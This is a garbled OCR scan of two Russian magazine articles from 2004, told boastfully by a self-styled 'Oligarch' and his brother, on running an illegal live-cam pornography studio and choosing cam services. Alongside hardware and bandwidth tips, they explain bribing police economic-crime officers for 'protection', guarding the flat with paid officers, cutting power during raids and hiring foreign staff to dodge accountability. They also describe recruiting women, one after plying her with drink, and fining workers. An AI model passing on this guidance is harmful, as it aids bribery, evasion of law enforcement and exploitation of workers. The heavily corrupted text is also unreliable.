довольно просторными, так что в первую по- 
местились две девки и два переводчика. Во 
вторую получил вписку администратор с пе- 
реводчиком, а также 2 жрицы любви. 







В оставшуюся третью комнату я зарядил еще 
пару «львиц». На кухне постоянно дежурил 
«гладиатор», охранник моего очага греха. 

Там же располагался видеомонитор, питае- 
мый с камер обозрения. О техническом обо- 
рудовании я более подробно расскажу ниже. 

А КОННЕКТ 

С инет-каналом тоже все не так просто. Мы 
остановились на варианте с квартирой, так 
что шнягу с выделенкой нужно было решать 
самостоятельно. В соседнем доме функцио- 
нировала локальная сеть с каналом в инет, 
но, учитывая размах нашего бизнеса, этот 
вариант не подходил: слишком дорого стоил 
трафик и слишком часто падал инет. Так что 
для нас единственным выходом было подк- 
лючение к полноценному провайдеру, при- 
чем без ограничения по трафику. Мы повис- 
ли на канале в 51 2К, и всем 6 труженицам 
хватало толщины коннекта. В среднем, нужно 
порядка 84К на девочку, хотя это зависит от 
требуемого Ііѵе сат провайдером качества 
видеопотока. Также не все сервисы берут 
трансляцию на свои мощности: отдельные 
конторы будут цеплять дрочеров прямо к те- 
бе, тогда трафик заметно вырастет. Пере- 
водчик был связан с моделями локально, так 
что на него внешний канал почти не расходо- 
вался. Коннект администратора с внешним 
миром также отнимал лишь толику трафика. 

Мы стали искать стабильный канал, кото- 
рый можно было бы протащить в нашу из- 
бушку. Нашлось оптоволокно в непосред- 
ственной близости. Я не буду вспоминать, 
сколько мы платили тогда, поскольку цены 
постоянно меняются. Скажу лишь, что без- 
лимитное подключение по 51 2К стоит сегод- 
ня от $1 к до $2к. При выборе канала следу- 
ет обратить внимание на мощность ирііпк’а, 
т.е. исходящего канала, на который ляжет до 
95% нагрузки. Ряд провайдеров дают 
более узкий исходящий канал, чем входящий 
(512 «вниз» и, скажем, 128 «наверх»). Так 
что будь внимателен! Если женская сборная 
пока не велика, и предполагается лишь пара 
тружениц на постоянном коннекте, канал 
можно снять и поуже, 192 на двоих будет 
достаточно. Логично изначально обговорить 
с І5Р как возможность расширения канала в 
будущем без дополнительной платы, так и 
сужение на случай постепенного сворачива- 
ния бизнеса. При поиске провайдера я поль- 
зовался сайтом ѵш.ргоѵіііегш, однако их база 
не впечатляет полнотой. Один мой коллега 
по цеху пробил канал через расположенную 




по соседству контору: под мастерскую с 3 
девками он отхватил 320К + безлимитный 
трафик. Оплата «вскладчину» оказалась 
очень выгодным решением. Если же соседи 
не хотят «сообразить на двоих», у них можно 
просто разузнать о провайдере, работаю- 
щем в выбранном районе. Можно и тупо 
обзвонить основных провайдеров города с 
вопросом о доступности безлимитной выде- 
ленки в твоем районе, возможности органи- 
зации радиолинка. 

А КУЙ ЖЕЛЕЗО, ПОКП ГОРЯЧО 

Какое железо мы использовали? Этот воп- 
рос, пожалуй, самый простой. Если ты не 
обещал девам ежедневные десматчи в конт- 
ру, то подойдет самое обыкновенное, деше- 
вое железо. У нас все было собрано на РЗ 
667 МГц, по 256 оперативы, скромные вин- 
ты, 3 могучих 19-дюймовых монитора и 3 
«пятнашки», и те и другие - ЭЛТ («старые», 
огромные, как стиральные машинки). На та- 
ком железе и сегодня все будет работать 
без шума и пыли! Мониторы я выбирал, ис- 
ходя из следующих соображений. 19-дюй- 
мовые предназначались для интернет-жриц, 
которые сами общались с клиентами на анг- 
лийском. Те же, кто общались с дронами че- 
рез переводчика - «стилуса» - юзали «пят- 
нашки». Большие экраны нужны были, чтобы 
тетя могла следить за чатом, видеть то, что 
просит сделать ее «минутный хозяин». 

Для обозрения всей тетки целиком следо- 
вало расположить кресло на определенной 
дистанции от ѵѵеЬ-камеры. Так что мониторить 
чат на «пятнашке» было бы неудобно. Негра- 
мотные тетки одевали наушники и микрофо- 
ны, подключенные к компу. По локалке же 
Меітееііпд’ом мутилась связь с переводчи- 
ком, который по-русски давал ей инструкции 
от клиента. На момент организации бизнеса, 
мой подход казался довольно оригинальным. 
Большинство братьев по оружию сомнева- 
лись, что это сработает. Во-первых, трансля- 
ция голоса переводчика вместо модельного 
будет выглядеть подозрительно для клиента. 
Однако мы заметили, что подмена голоса сни- 
жает продолжительность пребывания покупа- 
теля лишь на 20-25%. Во-вторых, как будет 
модель читать текст, если она неграмотная в 
английском, а переводы ей приходят в тексто- 
вом виде от «стилуса»? Когда я в школе учил 
английский, то никогда не пользовался стан- 
дартными транскрипциями: до сих пор их чи- 
тать не умею. Но для правильного произноше- 
ния писал все английские слова русскими 
буквами (Олигарх, похоже, обладает неповто- 
римым классическим английским произноше- 
нием! :) - прим. ред. ) . Так мы поступили и с 
переводами английского: переводчик сразу 
забивал нужный текст русскими буквами. С 
перманентным успехом мы пытались делать 
это программно, немного изменив концепцию 
«Штирлица», где встроена тема перевода 
транслита в чистый русский. Практика показа- 
ла, что даже минимального знакомства моде- 
ли с английским достаточно для чтения таких 
«шпаргалок». В-третьих, дрочера может разд- 
ражать то, что девка постоянно с кем-то раз- 
говаривает голосом, тогда как он трещит с 
ней только текстовым чатом. Разговоры дева- 
хи были необходимы, что вполне понятно, для 
передачи ответов переводчику. Это также не- 
гативно сказывалось на продажах, и мы теря- 
ли те же 20-25%. Хотя при совместной работе 




переводчика и модели тексты получались 
вдвойне возбуждающими, что порой надолго 
удерживало сластолюбца :). 

Ключевая железка - веб-камера. К ней 
нет специальных требований, подойдет 
практически любая. Недавно я был в одной 
Ііѵе сат студии, там все было построено на 
Сгеаііѵе ѴѴеЬСат Ѵісіео Віазіег, который в 
разных версиях и дизайнах стоит от $25. 

Я же, будучи отчаянным барыгой, старал- 
ся все оборудовать максимально дешево; 
собирал вместе с подельником железо на 
ѵш.ЬагаМо.ги и тому подобных интернет-тол- 
кучках. Там же все было продано, когда мы 
закрывали нашу веб-кам студию. 

^ живые глазки 

После первых месяцев работы конкуренты 
стали возникать повсеместно: у них имелись 
модели более качественные, как попугаи, го- 
ворящие на 5 языках; рассылка дисков с за- 
писями была в ходу. Нужно было придумать 
какую-то фишку, чтобы выделиться среди 
многочисленных соперников. Как раз тогда 
целый ряд сервисов (легендарный ІІгіепФ.пеІ, 
в первую очередь) стал работать с т.н. 
рап/Ш камерами. Т.е. аппаратами, которые 
могут менять положение, руководствуясь ко- 
мандами с компа. Команды могут быть пос- 
ланы как локально (сама девушка наводит 
глазок куда надо), так и удаленно - дроче- 
ром, который может зазумить объектив на 
самых недоступных частях влекущей модели. 




л Давай посчита- 
ем, сколько можно 
заработать на Ііѵе 
сат бизнесе. Ска- 
жем, у нас однов- 
ременно работают 
6 моделей - при 
этом каждая за 
шестичасовую сме- 
ну работает в при- 
вате по часу. Полу- 
чается, за сутки де- 
вочки нарабатыва- 
ют примерно 20 ча- 
сов с ѴІР клиента- 
ми, ты получаешь 
по $3 за минуту. За 
сутки твой доход 
составляет $3600. 
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ВЕРШИНО ПОРНОБИЗНЕСО 



взпои 







а Для организации 
Ііѵе сат бизнеса те- 
бе понадобится пол- 
ноценный канал в 
инет с неограничен- 
ным исходящим тра- 
фиком и скоростью 
порядка 5 12К. 




л Легализовать по- 
добный бизнес в 
России почти не- 
возможно, поэтому 
факт остается фак- 
том - большинство 
Ііѵе сат студий ра- 
ботают нелегально. 




А При поиске «кры- 
ши» нужно старать- 
ся выйти непосред- 
ственно на больших 
начальников из 
УБЭП, не стоит свя- 
зываться с посред- 
никами - может 
выйти себе дороже. 



«Двигающиеся» камеры еще не получили 
полного распространения, так что, возмож- 
но, придется попотеть, разыскивая нужный 
аппарат за приемлемые тугрики. Мы вышли 
из положения, поставив конверсионную раз- 
работку, продукт от народных умельцев, ко- 
торый сделал наши камеры полностью сов- 
местимыми с рядом сервисов, вроде 
сІіѵа$Іш.сот. Сейчас я бы выделил модель 
ЗтіІеСат от ЗіпТес, которая подробно опи- 
сана на зЕоге.ѵѵеЬсат.сот. С развитием студии 
многие двигали нас на покупку карт видео- 
захвата, чтобы оцифровывать аналоговый 
видеопоток с обычной ѴНЗ-карты. Мы так и 
сделали, купив дешевую рабочую попате- 
карту. 

Я обещал поведать, какое железо было 
установлено для обеспечения безопасности 
моей развратнической норы. Наименования 
использованных камер видеонаблюдения я 
уже не помню, да и в контексте журнала - 
это лишняя инфа. Скажу лишь, что добрый 
дядя монтер сделал нам центральный ру- 
бильник, которым выключалось все электри- 
чество в квартире на случай нежданного ви- 
зита друзей в фуражках. 

Л ІЕШІ8ЕІТ! 

Я однажды показал свою прежнюю статью в 
X чешскому товарищу. Он, избалованный 
частичной легальностью своего бизнеса, 
удивился: почему журнал ничего не пишет о 
«прозрачной», легальной работе? Все пом- 
нят попытку моего коллеги, олигарха Ходор- 




ковского обустроить 
прозрачность 

^ р> собственного бизнеса? 

Я тоже помню и гово- 
рю, что я пока не ви- 
дел ни одной веб-кам студии, работающий 
в РСІ полностью легально! В чем сложности, 
чем отличается торговля девками по интер- 
нету от запуска палатки «Крошка-Картош- 
ка»? Ничем. Тебе лишь потребуются: юри- 
дическое лицо (чистая фирма), контракты- 
договора с твоими работницами, офисное 
пространство (квартиры, вполне понятно, не 
катят), зеленый свет от пожарников, сани- 
тарно-эпидемиологической станции и мили- 
ции. Покупка фирмы - деньги, ее регистра- 
ция на себя - палево, регистрация на негра 
- уже не та кристальная чистота, о которой 
ты просил... Нужен официально снятый 
(купленный) офис, при сдаче которого хозя- 
ева должны знать, каким таким грязным де- 
лом ты собираешься заниматься. Про ге- 
моррой со сбором всех бумажек от чекистов 
и тому подобных товарищей - я сохраню 
молчание. Да и тему с выбиванием телема- 
тической лицензии, необходимой для веде- 
ния вебкам-бизнеса, я не буду разбирать, 
т.к. этот процесс чреват серьезными трата- 
ми нервов и денег. 

Массу вопросов вызывает и финансовая 
сторона проблемы. Как показывать доходы 
от студии? Даже если ты найдешь пути разъ- 
яснения доходов с продажи тела, придется 
платить нескончаемые налоги. Конечно, на- 
логи - наш гражданский долг! Но... N 0 согп- 
тепіз. Если все же придет светлая идея ле- 
гализоваться, лучше все детали провентили- 
ровать у юриста, который своими разъясне- 
ниями, вероятно, отобьет всякую жажду 
«прозрачности». Есть более актуальная проб- 
лема «прозрачности» в нашем, отечествен- 
ном понимании - добрые отношения с пого- 
нами, которые могут сильно кровь подпор- 
тить, если твоя студия будет запалена. Так 
что проблему чекистов нам пришлось ре- 
шать заочно, т.к. к делу мы подходили про- 
фессионально и на весомую прибыль рас- 
считывали с самого начала. Я не буду упо- 
минать конкретные ведомства, с людьми от- 
куда нам пришлось «сотрудничать». Скажу 
лишь, что в ряде случаев с обнаруженными 
порностудиями, расследованиями занимался 
УБЭП. «Техническую поддержку» со стороны 
органов мы хотели видеть исключительно 
напрямую, без посредников. После массы 
встреч и литров выпитого с чекистами 
«Стандарта», мы нашли «покровителя», кото- 
рый решил бы возникшую проблему. Благо 
его помощью мы так и не воспользовались в 
полном объеме, только вносили ежемесяч- 
ную «абонентскую» плату. 



Л КОЦРЫ РЕШИМ! ВСЕ 

Зная расценки, $2-5 за минуту общения с 
«сбаЫюзІ’ом», т.е. объектом мечтаний кли- 
ента, я был сам готов оголяться перед каме- 
рой :). Как раз купил годовую карточку Соіб 
Оут’а и регулярно ездил пулять на сноубор- 
де в Альпы. Т.е. был вылитой порномо- 
делью. Но природная гомофобия убила во 
мне гей-модель, и я стал срочно разыски- 
вать девок для работы перед камерой. Да и 
с одного меня вышло бы по любому поряд- 
ком меньше денег, чем с целых шестерых 
развратниц. 



Я имел прежде опыт организации порно- 
фотостудии, так что пробивал новую тему 
лбом, несущим множество профессиональ- 
ных шишек. Помимо скопившегося опыта, 
осталось и множество контактов на порномо- 
делей. Большинство из них, исключая деся- 
ток съемочных дней, весь месяц простаивают 
без дела, танцуют стриптиз, моют полы, де- 
лают уколы и тратят время на другие непро- 
фессиональные занятия. Без проблем, обз- 
вонив знакомых орально-генитальных труже- 
ниц, собрал половину штата. Мне нужно бы- 
ло смонтировать довольно объемный штат, 
т.к. одна моделька не могла быть у станка 
дольше 6 часов. При этом, в среднем, одна 
деваха может заниматься делом не более 
двух часов (такова физиология, нимфоманок 
нам мало выписали :(), остальное время она 
проводит в Оиезі-сбаі’е, где просто общает- 
ся с потенциальными клиентами, не раздева- 
ясь и не развлекаясь с біібо. В итоге мне 
нужно было подыскать около 30-35 моделей, 
плюс несколько на замену: если основные 
заболеют или уволятся. Заменами мы прак- 
тически не пользовались, т.к. уже за первые 
месяцы работы появились постоянные клиен- 
ты, которые хотели конкретную девку и нико- 
го иного! Работницы были качественные - 
дроновские деньги сшибались четко, никто 
из штата не был обижен. 

Я сам уволил лишь нескольких. Наркотики 
в сфере порно, как и в модельном бизнесе, 
довольно распространены. Когда я занимался 
фотобизнесом, на злоупотребления моделей 
можно было закрывать глаза: все проблемы 
решал повторный дубль. Но в моем нынеш- 
нем бизнесе эта проблема встала ребром: 
находясь в состоянии наркотического опьяне- 
ния, модель внезапно переходила с английс- 
кого на русский, вела себя неадекватно, отка- 
зывалась исполнять приказы дрочера. Естест- 
венно, подобные проколы снижали наш тра- 
фик, статистика лишь огорчала... Один из 
дронов даже арбуз-абизе накатал в саппорт 
лив кам сервиса: мол, оскорбляют меня тут 
почем зря, модель посылает меня и называет 
«жирной мразью». Нас штрафанули на $500. 
Понятно, что виновница не хотела и не могла 
скрыть свою страсть к вдыханию в туалете 
экстази, смешанного с героином. Приходи- 
лось расставаться, хотя и была девочка от- 
менной моделью, занимала второе место по 
популярности в нашем стройном ряду. 

Так что разумно сразу обговорить опреде- 
ленные правила для моделей: никакого бух- 
ла и наркоты, не есть перед камерой, если 
об этом не просит дрон; не устранять угри и 
не вынимать волосы из носа, если это не 
нравится клиенту. Долго пришлось отучать 
всех пользоваться мобильниками на работе, 
была выставлена такса - $50 за возникшую 
в камере трубку. В случае когда модель 
сильно устала и теряет всякий тонус, разум- 
но отлучать ее от работы, чтобы не портить 
ее собственный образ и престиж конторы. Я 
много раз штрафовал моделей, когда они 
приходили не выспавшимися или в нерабо- 
чем настроении. За правильным поведением 
следила администратор, наблюдая видеопо- 
ток со всех камер сразу. 

Мой чешский напарник работал по 1 2 ча- 
сов в сутки, так что в смену проходили толь- 
ко 12-18 моделей. Оно и понятно: там выде- 
ленка - анлимитед втрое дешевле нашего, 
зарплаты ниже; кадры легче искать, ибо 
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страх быть попаленным значительно ниже! Я 
же двигал все на советской скорости: две 
пятилетки за одну! Мы работали, как пивной 
ларек у метро, поп-зіор, 24/7. Так что у нас 
постоянно вкалывали обозначенные выше 30 
человек, чтобы помимо «нормированного ра- 
бочего дня», модели могли рассчитывать на 
выходной день. Добором второй половины 
«ласковых кошечек» я занимался, обзванивая 
знакомых АѴѴМ ’ов, чьей нишей является съ- 
емка таіп зігеат контента. До поры до вре- 
мени я не распространялся о создании сту- 
дии, т.к. в адулт-индустрии, штуке 100% 
коммерческой и продажной, даже стабиль- 
ные партнеры могут устроить неприятности. 
Так что, собирая моделей, я отмазывался 
проведением очередной ХХХ-фотосессии. Я 
не брал никого с улицы, исключая одну де- 
вочку. Купив несколько рубашек Раігіск 
НеІІтапп в «Галерее Актер», я шел по Пушки- 
нской и через стекло «Елок-Палок» увидел 
свою будущую сотрудницу. Как кто-то из 
конкурирующих магнатов индустрии ее не 
приметил - для меня загадка! В общем, 
после выпитой с ней и ее подругой бутылки 
«Сбіѵаз», она уже была открыта для любых 
предложений, в том числе коммерческих. На 
следующий день я ее отвез к знакомому спе- 
циалисту по актерскому искусству, который и 
прежде тренировал для меня кадры. Девочка 
была смышленой (я сразу просек ее ХХХ-та- 
лант!) и через неделю уже вышла на работу, 
став еще через месяц второй самой прода- 
ваемой позицией нашего предприятия! Так 
что, обладая минимальным знанием челове- 
ческой психологии и коммуникабельностью, 
порнозвезд можно выращивать своими рука- 
ми, в домашних условиях! Кстати, после ра- 
боты со мной, указанная звездочка уехала на 
Кипр на постоянную работу в одну из тамош- 
них крупнейших адулт-студий! 

Важным моментом в работе с моделями 
стала оплата. Мы имели по 20-50% с того, 
что клиент платил сервису. Большинству мо- 
дельных студий платят 1 0% с отжатого у 
дрочера. Те, что свободно говорили на анг- 
лийском (было также несколько с немецким 
и французским), получали надбавку. Однако 
нам пришлось ввести и оклад моделям, в за- 
висимости от их популярности они получали 
деньги и за «простой», когда просто чати- 
лись с потенциальными клиентами в диезі- 
сбаі’е. Бывало так, что у девочки было лишь 
несколько клиентов за день, по две минуты 
каждый, но зато потом приходил спонсор, 
который мог часами ее развращать, проби- 
вая мне лавэ на новый ВМѴѴ Х5. 

А БОЙЦЫ НЕВИДИМОГО ФРОНТО 

С подбором вторичного персонала (админи- 
страторы и переводчики) было чуть сложнее. 
Бизнес «лив кам» был тогда совсем не извес- 
тен в отечестве, так что мне пришлось им- 
портировать сразу двух администраторов из 



той же Чехии. Большинство тамошних жите- 
лей старше 40 после пары дней занятий от- 
лично вспоминают русский, который учили в 
обязательном порядке в школе. Таким обра- 
зом, я имел двух профи с опытом работы в 
трех кам-студиях и пяти фото-видео по XXX- 
профилю. Администраторы могут оказаться 
ключевыми людьми в разборках с чекистами, 
а тут - иностранцы, с которых спрос малый: 
ничего не знаем, ничего, кроме Кремля и 
Мавзолея, не видели! Когда возникали проб- 
лемы у одного из админов, я сам выходил на 
службу, благо это случилось лишь пару раз. 

Работа переводчиков оказалась более 
напряжной, чем ожидалось, так что более 8 
часов мог вкалывать лишь один стахановец. 
Первым переводчиком, который работал 
только в текстовом режиме, стал мой знако- 
мый АѴѴМ, который заколебался лепить стра- 
нички для «вбива». Он прожил несколько лет 
в Штатах, так что похотливые тексты рожал 
лучше любого амера! Двух других я разыскал 
среди знакомых по порталу «Стульчик», пе- 
реводивших целую серию текстов эротичес- 
кого характера. Остальных добил среди сво- 
их контактов по индустрии. Подобралась 
полностью профессиональная команда, иск- 
лючая пару дочек-сестер дружественных по- 
велителей адульта: те хотели идти по стопам 
родственников, только чтобы без грязи! 

В охране сутки через двое трудились трое 
чекистов, присланных боссом, который нас 
прикрывал. Постоянно находился лишь один 
из них, гонял чаи и слушал радио «Шансон» 
на кухне. Парни честно выполняли свой долг, 
получая ощутимый бонус к своему офици- 
альному окладу. Они же вели запись всех 
приходящих и уходящих, только они могли 
впускать и выпускать людей. Я им запретил 
когда-либо выходить из квартиры до прихо- 
да сменщика. 

^ФИНПП 

Наша фирма крутилась около 7 месяцев, что 
похоже на средний срок жизни конкурентов. 
Первые полтора месяца работы выжали все 
силы, я спал лишь 4 часа в сутки, но остав- 
шиеся полгода оставляли массу времени на 
отдых и другую работу. Я поучаствовал в за- 
пуске 4 подобных точек, где выступал в каче- 
стве инвестора и консультанта, оставляя всю 
черновую работу «молодым львам». Честно 
скажу, в статье я многое упустил из виду, в 
частности пункт 5 - выбор оптимальных парт- 
неров для продажи наших сбаі бозі’ов. Эту 
тему рассмотрит в отдельной статье мой 
младший брат - Ходорковский, одна из вос- 
ходящих звезд российской АѴѴМ -сцены. 

Большинство профессионалов задают 
конкретные вопросы по бизнесу, новичкам 
же интересно - выгодно ли это, можно ли на 
этом внезапно подняться? Я не буду распус- 
кать старческие сопли: сейчас время уже не 
то, все вкусное разобрали - остались одни 
кости от дойной коровы заморского дроче- 
ра... Нет, бизнес постоянно развивается, 
стартуют новые ниши, платежеспособные 
мастурбаторы растут числом. Однако рабо- 
тать действительно становится сложнее - 
приходится много шевелить мозгами и рука- 
ми. Даже если эта затея, позволившая мне 
купить сразу 3 легальных бизнеса вне адуль- 
та, тебя парит, всегда можно подыскать неч- 
то оптимальное. Я еще поведаю о других те- 
мах стрижки зелени в абиИ-бизнесе. □С 







ПОДЫСКИВПЕИ ППРТНЕРП ДПЯ ПНЕ СОМ БИЗНЕСП 






сть у меня старший брат - Олигарх, знаменитый на весь рунет своими безумными порнопроектами. Я же решился выйти из тени 
только сейчас, ибо это нечестно! Нечестно, что Олигарх путает топовых подруг в "Галерее" и планирует заказать ВМШ 26, а я пивко 
осушаю со студентками ближайшего политеха и еще не весь лизинг выплатил по своему старому "Пассату". Чтобы заставить 
своего горячо любимого родственничка чуть-чуть пошевелить мозгами, я сдам тебе все секреты его легендарного Ііѵе сат бизнеса. 
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Л КОРЕШКИ ДП ВЕРШКИ 

ткуда я все это знаю? Олигарх 
подбором красоток заведовал, 
а я всю подноготную мутил - 
писал биллинг для оплаты мо- 
делей, настраивал весь софт, 
контачил с саппортом вебкам 
сервисов. Расскажу обо всем 
в деталях! Единственное, я не 
буду говорить о царе горы - ІРгіеп(І$.пеІ, пос- 
кольку бесплатная реклама для этих мегаба- 
рыг будет излишней. По информационной 
же части сложно найти абиИ-бизнес борду, 
где бы не обсуждался "Ифрендс" и его 
спонсорский отдел ѵѵѵѵѵѵ.сІісксазГі.сот. Уделю 
внимание лишь "второму эшелону", чей по- 
тенциал пока не реализован на 100%. Там 
еще есть шанс занять отличные позиции и 
заработать кучу денег! Я опишу несколько 
самых перспективных сервисов, однако сле- 
дует иметь в виду, что каждый день появля- 
ются новые и новые подобные службы. Будь 
в струе и периодически ищи по поискови- 
кам новые проекты. 

Л СПИС0НТПСТ8.НЕТ 

Популярность на Западе и популярность у 
нас - два принципиально разных понятия. 

Так что, не отвечая за раскрученность у 
амерских АѴѴМ'ов, заявлю: СО - второй по 
популярности сервис в Пи. Опять же, офици- 
альной статистики нет, но, судя по расска- 
зам братьев по оружию, британская СС сей- 
час в зените. Это вряд ли влияет на их попу- 




лярность, но всем моделям выдается фриш- 
ное место на ШЛА/ с генератором страниц 
вроде пагосі.ги. Этот сервис работает на соф- 
те, который, как обычно, функционирует 
лишь под виндой. Правда, одна модель рас- 
сказывала про успешную работу и в ѵѵіпе х 
Ипих. Наверное, она - транссексуал, во вся- 
ком случае, какой здоровой женщине нужен 
ІІпіх? Сервис покрывает все ниши: "скром- 
ные подруги", "развратницы", "лесби", "геи", 
"груповуха", "5/М", "жесткий 5/М". Здесь 
платят стандартные 50% от заработка моде- 
ли. Есть реферальная программа по приво- 
ду дронов-клиентов. Раздают 10% от потра- 
ченного приглашенными зрителями. По ре- 
фералам поток не очень обильный, так как 
большая часть местных моделей работают 
параллельно с 3-5 другими сервисами. 
Большинство моделей - неграмотные, разв- 



лечь-увлечь клиента не могут совершенно, 
просто ждут у моря погоды, чтобы дядя по- 
манил денежкой в приват. Практика показы- 
вает, здесь представлено множество румы- 
нских моделей. Посылают деньги чеком при 
накоплении $50. Раньше слали и по ѴѴезІегп 
ІІпіоп, но сейчас "временно" (читай, навсег- 
да) заморозили тему. Байером шлют, когда 
собираешь $100 на счету. Предупреждают, 
что международные переводы обходятся в 
$16-32. Так что с ними удобней работать, 
если твой прямой родственник - Абрамович 
или Березовский. Ведь они смогут обнали- 
чить лавэ со своих британских счетов, не 
заплатив таксу іпіегпаііопаі перегона =). 

Не так давно некий хакер-соотечественник 
похитил у конторы базу кредиток и пытался 
вымогать с нее лавэ. Тогда было заведено 
дело, и челу выписали 1 год условно. 

Юристы конторы и по сей 
день пытаются засадить 
обидчика по-взрослому, что- 
бы за решетку, да на Колы- 
му. Чувак тоже не скромни- 
чает: пытается снова их 
взломать, параллельно 
ЭЭоЗ'ит и рассылает спам, 
порочащий их репутацию. 

Л 0ІІП8Н0Ш.С0И 

Поддержи отечественного 
производителя! Пожалуй, одна 
из наиболее успешных Ііѵе сат 
контор с русскими корнями. 
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варианты чатов 



ь. 



* РиЫіс/СиезѴРі'ее 

Это некое подобие витрины, когда покупатель 
только смотрит на модель, общается с ней. 
Она, в большинстве случаев, одета. Сидит в 
нижнем белье, при взгляде на тело в котором 
"поднимается душа" дрона. Тема, как с кабин- 
ками живых проституток: чем красивее дева, 
тем меньше ей нужно показывать завлекаю- 
щих деталей - она показывает свою цену, мни- 
мую недоступность; тісІсЛе сіазз модели же 
порой вынуждены всячески исхитряться, де- 
монстрируя свои прелести. Здесь модель про- 
водит большую часть времени. 

* Зеті ргіѵаѣе/МетЬегз/МисІе 

Здесь за действием следят сразу несколько 
клиентов, все могут давать команды модели. 
Чат может быть как общим, когда каждый ви- 
дит реплики своего "брата по оружию", так и 
индивидуальным, когда ответы приходят каж- 
дому отдельно. Первый вариант более ходо- 
вой, деву "пускают на хор", чтобы заплатить 
меньше, мутят виртуальный факинг в нес- 
колько рыл сразу. Цена в 2-3 раза ниже, чем в 
полном ргіѵаіе чате. Чем больше туса группо- 
вых покупателей, тем ты богаче. 

* Ѵоуеиг ЗМоѵѵ 

То же, что зеті, только юзер не может спускать 
команды в чат и вообще трещать с моделью. 
Здесь может быть бесконечное число дроче- 
ров, они будут просто "подглядывать" за мо- 
делью. Стоит обыкновенно в 5-10 раз дешевле 
привата. Прибыли особо не приносит, но явля- 



ется неплохим средством "выращивания" кли- 
ента, сегодня он просто наблюдатель развра- 
та, а завтра уже активный участник! 

* Ргіѵаіе/ѴІР/РиІІ сопіасі/Ргетіит 

Это полный приват. Здесь только модель (мо- 
дели, если в теме секс двоих, троих... десяте- 
рых) и клиент, чьи приказы выполняются. Са- 
мый дорогой вариант. Чем больше времени 
модель отвисает в полном привате, тем ты бо- 
гаче. Это не совсем этично, но ряд сервисов 
продают записи приватов третьим лицам. 

* Моѵіе Реріау/Весогсіесі зМоѵѵз 

Безотходное производство. Почти все службы 
сохраняют записи с камеры, так что мувики 
можно показывать, точнее, перепродавать 
много раз. Понятно, что полней запрещает 
продавать текстовые или звуковые записи 
приватов, где другой клиент излагает свои 
страсти. Так что "реплеи" часто продаются без 
звука. Это успешно срабатывает, когда мо- 
дель имеет стандартные, желаемые дроном 
параметры - красивое лицо, здоровые зубы и 
волосы, стройное спортивное тело и т.д. 

* Записи чатов на СО 

Часто продают также видеозапись чата на СЭ - 
клиент получает посылку по обычной почте. Ви- 
деопоток оседает на сервере и заболванивает- 
ся по первому желанию клиента. Некоторые 
службы могут комплектовать продаваемые СЭ 
как эксклюзивным контентом, так и указанными 
выше "реплеями". 





Слеплено по образцу РеекЗбоѵѵз. Их станда- 
ртная ставка для дрочера в полном привате - 
$5, в зеті - $2. Из них тебе будут списы- 
ваться $1 ,5 и $0,6 соответственно. Пока кон- 
тора имеет довольно ограниченный штат 
тружениц - заявлены 300 в штате и 1 0 пос- 
тоянно в онлайне. Ресурс пока не особенно 
раскручен, т.е. на уровень Іігіепсіз вряд ли 
когда-нибудь выйдет. Однако при довольно 
низкой ставке для моделей (студий), дают 
аж 20% за приведенных клиентов. Получает- 
ся, при ограниченной раскрученное™ ресур- 
са, с ними удобней работать по рефералам. 
Лавэ пересылают банковским переводом за 
30 у.е. Внутри Ріпех-банка и по Ямбе 
(м.уатЬо.Ьіг) - на халяву. ѴѴМ (Вебмани) и 
Фетхард (МІіагіІ.Ьіг) переправа делается за 
какие-то очень скромные проценты. Есть и 
старинный вид перевода - чеком (из Англии 
и Америки). По России вайером за 1%. Ра- 
ботают с самыми разными студиями. Россия 
и Прибалтика в первую очередь, также Поль- 
ша, Чехия и Таиланд. Большинство моделей 
параллельно шабашат и на другие конторы, 



вроде СатсопШз и ІТгіепсІз. Под "студией" 
здесь понимают рабочий коллектив с чис- 
ленностью больше 5 человек. 

А РЕЕК8Н0Ш8.С0И 

Эта контора пойдет третьей в ответе на воп- 
рос "Кому продать своих девок по вебка- 
мам?". Как и все, просят прислать копию с 
Ю паспорта моделей. За приваты платят от 
$1 ,25 до $1 ,75 в зависимости от численнос- 
ти проданных минут привата. Есть оплата за 
Ѵоуеиг чат, когда клиент не может участво- 
вать в чате, он(а) лишь наблюдает за мо- 
делью. За удовольствие дрона ты получаешь 
лишь жалкие 25 центов :(. Деньги переводят 
чеком, Ш-перегон, как и у СО, временно 
заморожен. Контора работает с разными ни- 
шами. Один знакомый чел прикинулся гомо- 
сексуалистом и честно работал, чтобы вы- 
нуть чек на сотку =). Хотя показаться в каме- 
ре еще с одним "другом" или пригласить 
подругу он не смог бы: "парочки" тут офици- 
ально не поддерживаются... Сервис нацелен 
на работу с профессиональными моделями и 
целыми студиями. Прийти сюда "с улицы" 
среднестатистической девочке почти невоз- 
можно. С "Пикшоу" копировалась русская 
ОіѵаЗбоѵѵ. Даже расклад цен практически 
идентичен. У первых - шире подборка кад- 
ров и трафик порядком богаче. У вторых - 
русский саппорт и удобные, выгодные внут- 
рироссийские банковские условия. Что цен- 
нее - тебе решать. 



А ІИІІІІЕ.СОИ 

Первое, что бросается в глаза - грамотная 
структура представленных моделей, все наг- 
лядно, удобно и доступно. Понятно, что нас 
не интересует это добро, как дрочеров: нам 
надо бабки заколачивать! Но то, что комфо- 
ртно для клиента - комфортно и для нас. По- 
лучается, что ІтШѵе - неплохая площадка. 
Все аккуратно списано и модернизировано. 
Оригинал, как водится, Іігіепсіз, но здесь 
применяется очень гибкая ценовая политика. 
В "барру боигз" цены заметно снижаются, и 
поток дрочеров заметно увеличивается. 
Продвигается тема с фэн-клубами опреде- 
ленных чат-хостов. Члены клуба получают 
скидки, эксклюзивные мувики и картинки 
любимой модели. Ребята вообще на выдум- 
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июньским номер 

ЖУРНАЛА ТО ТАі О ѴО 
УЖЕ ■ ПРОДАЖЕ 



ІПКЕР/№06(66)/2004 




^^Заx^Лус^ную ши с/т р ЭйНйГлАллрт 
'^рт/геЛьиьГ О 1 1 уже подчинил* себе 
БСёл учтепей и большичегна 1 у чеша га а. 
Нта- ГСГОМ0Т □ст^иовйгй эЛидетмта? 
СмогритеІ По торг члеатутг и веселья 
“іЗ* гарам/ир-рваныи. 



Берне Иванов 




ТоЫ оѵр - 
каждый номер 
с фильмом на ОѴР 



гое искать ПОМОЩИ? 

Е сть ряд специальных точек для обсуждения работы в ѵѵеЬ- 
сат-бизнесе. Вот некоторые из них: 

а ѵѵѵѵѵѵ.тазіег-х.сот. Здесь есть целая борда по ѵѵебсатз. 

а ѵѵѵѵѵѵ.сгиіор.пи. Все обо всем. Конкретно о вебкамах - море 
базовых знаний. 

